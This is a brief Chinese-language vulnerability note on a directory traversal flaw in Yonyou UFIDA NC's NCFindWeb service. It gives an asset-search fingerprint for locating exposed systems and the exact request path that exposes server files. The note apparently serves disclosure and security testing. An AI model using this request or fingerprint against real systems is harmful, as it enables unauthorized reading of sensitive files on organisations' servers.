登录 白背景
源码

用友UFIDA NC NCFindWeb 目录遍历漏洞

一、漏洞简介

用友UFIDA NC NCFindWeb存在目录遍历漏洞，攻击者可以通过目录遍历获取敏感文件信息。

二、影响版本

  • 用友UFIDA NC

三、资产测绘

  • hunterapp.name="用友 UFIDA NC"
  • 特征

image.png

四、漏洞复现

/NCFindWeb?service=IPreAlertConfigService&filename=

image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/ums9idt7g5uq4yfd